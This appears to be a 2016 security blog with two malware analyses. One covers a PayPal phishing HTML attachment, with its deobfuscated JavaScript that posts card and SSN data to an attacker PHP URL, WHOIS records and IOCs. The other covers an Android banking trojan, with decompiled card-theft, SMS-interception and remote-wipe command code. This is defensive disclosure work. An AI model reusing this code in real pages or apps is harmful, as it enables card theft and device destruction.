Monday, July 25, 2016

SPAM / SCAM campaign to steal Credit Card Details (I)

In the last weeks I have looked to several SPAM / SCAM campaigns targeting endusers and business. In some cases the intention was to fool the users to steal their credit cards details, but it was not always the case.

Cyber Criminals mimic any kind of business using multiple tricks. For example, fake invoices from Amazon or ricardo.ch, some security warning messages from PayPal, ebay or some customer service message from banks across the world.

In this case I'm going to talk about one interesting campaign currently happening against PayPal.

Initially a SCAM email like the one below is sent to the victim. The email contains an HTML file attached. If the enduser is lucky, the email will be detected as SPAM by the mail filters, but this has not been always the case. The HTML in all the cases were not detected as malicious by the AV. The HTML used in this post, which I have uploaded to VirusTotal, is only detected by 3 engines




The HTML file once opened with any browser shows a form requesting several information including Credit Card details.

Looking at the HTML source, I see some JavaScript code obfuscated. All the code is in a single line.




With the help of the tool 'js-beauty'  installed in Remnux, the JavaScript code is 'cleaned' which allows do some debugging.




Using the Firebug JavaScript debugger, I can debug the code. There are several functions to manipulate the date embebed in the HTML code. 




Using some breakpoints I can extract the content of the variable BkozdlkPhvQy, which contains the final HTML that will be presented to the victim



This new HTML code can be extracted for further analysis.




Again, with the help of Firebug I can run the JavaScript code step by step.





There are several functions in the code which looks interesting.  Moreover, I find referenced some URLs http://www.candidate7.net and https://www.paypal.com and some PHP code 9d681cd81c49939eb384d49051d7e272.php.


<script type = "text/javascript"
 language = "javascript" >
     var _0x297b9e = "9d681cd81c49939eb384d49051d7e272.php";
 var _0x3a657d = (function(a) {
     return function(f) {
         var b = f.length,
             e = 1,
             c = 0,
             d;
         while (b) {
             d = parseInt(f.charAt(--b), 10);
             c += (e ^= 1) ? a[d] : d
         }
         return c && c % 10 === 0
     }
 }([0, 2, 4, 6, 8, 1, 3, 5, 7, 9]));
 var _0x78eb7f = "http://www.candidate7.net/";
 var _0x68bfad = 0;

 function PSubmit() {
     if (!_0x529953()) {
         window.location.replace("https://www.paypal.com/");
         return false;
     }
     if (!_0x68bfad) _0x78eb7f += _0x297b9e;
     _0x68bfad++;
     document.forms["env"].action = _0x78eb7f;
     document.forms["env"].method = "post";
     document.forms["env"].submit();
 }

 function _0x529953() {
     ax = _0x3a657d(document.env.MBcnum.value);
     if (!ax) return window.location.replace("http://www.paypal.com/"), !1;
     var a = document.env.MBaddr.value,
         c = document.env.MBem.value,
         b = document.env.MBey.value,
         d = document.env.MBcv.value;
     if (!document.env.MBfn.value || !a || !d || "00" == c || "00" == b) return window.location.replace("http://www.paypal.com/"), !1;
     a = document.env.MBssn.value;
     c = a.length;
     b = 9; - 1 != a.indexOf("-") && (b += 2);
     if ("United States" == document.env.MBctn.value) {
         if (0 < c && c != b) return window.location.replace("http://www.paypal.com/"), !1;
         a = document.env.MBzip.value.length;
         if (0 < a && 5 != a) return window.location.replace("http://www.paypal.com/"), !1
     }
     return !0
 };

</script>

The first function referenced by var _0x3a657d is in charge of checking if the Credit Card number introduced is a valid one. If it it is not, it will redirect to www.paypal.com

Second function, Psumit() is in charge of sending the data through a POST request. All the data will be sent to the URL  http://www.candidate7.net/9d681cd81c49939eb384d49051d7e272.php

Last function, _0x529953(), is in charge of performing more additional checks, it checks:

  • that the address filled in the form is not empty
  • that the month, year and CVV filled in the credit card details from the form is not empty and is not 0
  • that the name filled is not empty
  • if the country selected is US, the SSN and the Zip Code has the correct length

If all the conditions do not happen the browser is redirect to http://www.paypal.com. Otherwise, the data filled in the form is sent to http://www.candidate7.net/9d681cd81c49939eb384d49051d7e272.php. Below and example of the HTTP POST. 

This is quite interesting as the criminals are taking care that they will only receive valid data thought the form so they do not need to check the data received.





After the data is sent through the POST, the PHP script redirects to http://www.paypal.com



As a test, I can request manually the resource directly with the IP and I'm redirected to PayPal as well.





Checking the domain candidate7.com I can see it has been created the day before the email was sent. 


Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: CANDIDATE7.COM
   Registrar: PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM
   Sponsoring Registrar IANA ID: 303
   Whois Server: whois.PublicDomainRegistry.com
   Referral URL: http://www.publicdomainregistry.com
   Name Server: NS1.DYNU.COM
   Name Server: NS2.DYNU.COM
   Name Server: NS3.DYNU.COM
   Name Server: NS4.DYNU.COM
   Name Server: NS5.DYNU.COM
   Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Updated Date: 22-jul-2016
   Creation Date: 20-jul-2016
   Expiration Date: 20-jul-2017

>>> Last update of whois database: Sun, 24 Jul 2016 08:47:13 GMT <<<


The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.
Domain Name: CANDIDATE7.COM
Registry Domain ID: 2044541489_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.publicdomainregistry.com
Registrar URL: www.publicdomainregistry.com
Updated Date: 2016-07-20T01:43:14Z
Creation Date: 2016-07-20T01:43:12Z
Registrar Registration Expiration Date: 2017-07-20T01:43:12Z
Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com
Registrar IANA ID: 303
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Alex Tankredi
Registrant Organization: N/A
Registrant Street: 289 rendang rd no 28b
Registrant City: kuala lumpur
Registrant State/Province: kl
Registrant Postal Code: 248195
Registrant Country: MY
Registrant Phone: +60.601848928124
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: alextankredi@openmailbox.org
Registry Admin ID:
Admin Name: Alex Tankredi
Admin Organization: N/A
Admin Street: 289 rendang rd no 28b
Admin City: kuala lumpur
Admin State/Province: kl
Admin Postal Code: 248195
Admin Country: MY
Admin Phone: +60.601848928124
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: alextankredi@openmailbox.org
Registry Tech ID:
Tech Name: Alex Tankredi
Tech Organization: N/A
Tech Street: 289 rendang rd no 28b
Tech City: kuala lumpur
Tech State/Province: kl
Tech Postal Code: 248195
Tech Country: MY
Tech Phone: +60.601848928124
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: alextankredi@openmailbox.org


Under the same e-mail address, several other domains have been registered.




The domains used for this campaign candidate7.com, candidate7.net and candidate7.biz resolve to the same IP 149.56.99.37. The three off them have been registered around the same time. By the way, the IP 149.56.99.37 is a Tor node





And all the subdomains www.candidate7.com, www.candidate7.biz and www.candidate7.net resolve also to the same IP 93.174.93.234, which is the one that cyber threat actors are using to receive the data from the form.

This is what happens in essence:
  • Cyber Threat Actors registered several domains across the same time. All of them with the same name resolving to the same IP. 
  • In a very short period of time after the registration of the new domains,  all the SCAM emails are sent with an HTML attached. The HTML is obfuscated to avoid detection
  • The HTML contains an HTTP form to steal the credit card data. This form only sends the data to the threat actors if the information is somehow valid and not faked. 
  • After the POST request, the user is redirected to the real PayPal website.
Once the domains are black listed, they again register new domains and proceed again from the step 1.


IOC


93.174.93.234
http://www.candidate7.biz
http://www.candidate7.net
http:/www.candidate7.com
http://www.candidate7.net/9d681cd81c49939eb384d49051d7e272.php
http://www.candidate7.com/9d681cd81c49939eb384d49051d7e272.php
http://www.candidate7.biz/9d681cd81c49939eb384d49051d7e272.php
http://93.174.93.234/9d681cd81c49939eb384d49051d7e272.php



(More to come)


Thursday, July 14, 2016

Cyber Criminal Campaign in Switzerland using Spam SMS

Swiss CERT (GovCERT.ch) informed yesterday about a new cyber criminal campaign against Android users in Swizterland. This campaign is part of a larger cybercrime operation already identified by FireEye.

Malicious SMS are being sent with a link to a malicious APK. Finally, I got some time to take a look to the APK.

The APK uses an icon very similar to the one used by some valid applications ("Swiss Post" and "Post Finance") to fool the user. The APK requests Admin rights. Once granted the rights, the app is able to erase the device.


  



   
On account of the the admin rights, the APK can't be easily uninstalled. Moreover, this APK draw over other apps

         


If the "Draw over" permission is removed, the app can't be uninstalled and throws an error:



Bad guys are very insistent to keep persistence :)

There is some communication through HTTP with the C&C sending information about the device. For example, some of the apps installed




Also, the malicious APK is able to intercept all the SMS received on the phone and forward to the C&C, which permits for example to steal 2FA tokens






A quick overview to the APK did not give much information. 
However, something that brought my attention is that the APK installs another DEX file. This second file is not pulled from Internet




Looking around a bit into the original original APK file I find a suspicious file, which it is likely the second DEX installed.




From the file system, I can pull the DEX file directly :)





Now it is time to take a look into the code of the DEX file

First thing I see is some interesting  'CreditCard' classes / methods:






Digging a bit into the code, I can see the apps which potentially are being 'monitored'  

com.whatsapp", "com.android.vending", "com.facebook.orca", "com.facebook.katana", "com.tencent.mm", "com.google.android.youtube", "com.ubercab", "com.viber.voip", "com.eboks.activities", "com.skype.raider", "com.snapchat.android", "com.instagram.android", "com.twitter.android"


package com.vzuyl.wxhwfnyvr;

public class Constants
{
  public static final String APP_ID = "APP_ID";
  public static final String CAN_WRITE_SMS = "CAN_WRITE_SMS";
  public static final String CARD_SENT = "CARD_SENT";
  public static final String INSTALL_SENT = "INSTALL_SENT";
  public static final String INTERCEPTING_ENABLED = "INTERCEPTING_ENABLED";
  public static final String LOCK_ENABLED = "LOCK_ENABLED";
  public static final String[] PACKAGES = { "com.whatsapp", "com.android.vending", "com.facebook.orca", "com.facebook.katana", "com.tencent.mm", "com.google.android.youtube", "com.ubercab", "com.viber.voip", "com.eboks.activities", "com.skype.raider", "com.snapchat.android", "com.instagram.android", "com.twitter.android" };
  public static final String PREFS_NAME = "app_settings";
}


But the most interesting part of the code is the one to send credit card data.


  private void sendData()
  {
    try
    {
      JSONObject localJSONObject = new JSONObject();
      localJSONObject.put("number", this.ccBox.getText().toString());
      localJSONObject.put("month", this.expiration1st.getText().toString());
      localJSONObject.put("year", this.expiration2nd.getText().toString());
      localJSONObject.put("cvc", this.cvcBox.getText().toString());
      localJSONObject.put("cardholder", this.nameOnCard.getText().toString());
      localJSONObject.put("vbv1", this.oldVbvPass);
      localJSONObject.put("vbv2", this.vbvPass.getText().toString());
      Intent localIntent = new Intent(this, ghatwpx.class);
      localIntent.setAction("REPORT_CARD_DATA");
      localIntent.putExtra("data", localJSONObject.toString());
      startService(localIntent);
      return;
    }
    catch (JSONException localJSONException)
    {
      localJSONException.printStackTrace();
    }
  }



The C&C can send several commands. 


str = Sender.request(dkukcwkg.this.httpClient, str, ((JSONObject)localObject2).toString()).getString("cmd");
            localObject2 = new Intent(dkukcwkg.this.context, ghatwpx.class);
            if (str.equals("intercept start"))
            {
              Utils.putBoolVal((SharedPreferences)localObject1, "INTERCEPTING_ENABLED", true);
              ((Intent)localObject2).setAction("REPORT_INTERCEPT_STATUS");
              dkukcwkg.this.startService((Intent)localObject2);
              return;
            }
          }
          catch (Exception localException)
          {
            localException.printStackTrace();
            return;
          }
          if (str.equals("intercept stop"))
          {
            Utils.putBoolVal(localException, "INTERCEPTING_ENABLED", false);
            ((Intent)localObject2).setAction("REPORT_INTERCEPT_STATUS");
          }
          else if (str.equals("lock"))
          {
            Utils.putBoolVal(localException, "LOCK_ENABLED", true);
            ((AudioManager)dkukcwkg.this.context.getSystemService("audio")).setRingerMode(0);
            dkukcwkg.showSysDialog();
            ((Intent)localObject2).setAction("REPORT_LOCK_STATUS");
          }
          else if (str.equals("unlock"))
          {
            Utils.putBoolVal(localException, "LOCK_ENABLED", false);
            ((AudioManager)dkukcwkg.this.context.getSystemService("audio")).setRingerMode(2);
            if (Build.VERSION.SDK_INT == 19)
            {
              Utils.startSMSApp(dkukcwkg.this.context);
              Utils.startHome(dkukcwkg.this.context);
            }
            dkukcwkg.hideSysDialog();
            ((Intent)localObject2).setAction("REPORT_LOCK_STATUS");
          }
          else if (str.equals("hard reset"))
          {
            dkukcwkg.this.reset();
            ((Intent)localObject2).setAction("");
          }
          else
          {
            ((Intent)localObject2).setAction("");
          }
        }
      }
    };


So basically, the commands are: intercept start, intercept stop, lock, unlock, and hard reset.

Playing a bit with BurpSuite, I can send those commands to the device and see the behavior















The lock command locks totally the device with a System update message, as showed in the image above.

Finally, the 'hard reset' command, is used to erase the device:





So this version of the malware targeting Switzerland 'monitors' a few more apps than the one analysed in FireEye report: com.eboks.activities", "com.skype.raider", "com.snapchat.android", "com.instagram.android", "com.twitter.android.

It also permits to steal received SMS, credit card details and forward to the C&C.

Once the device is compromised and the information is stolen, it can be remotely reset which would make a forensic investigation very hard.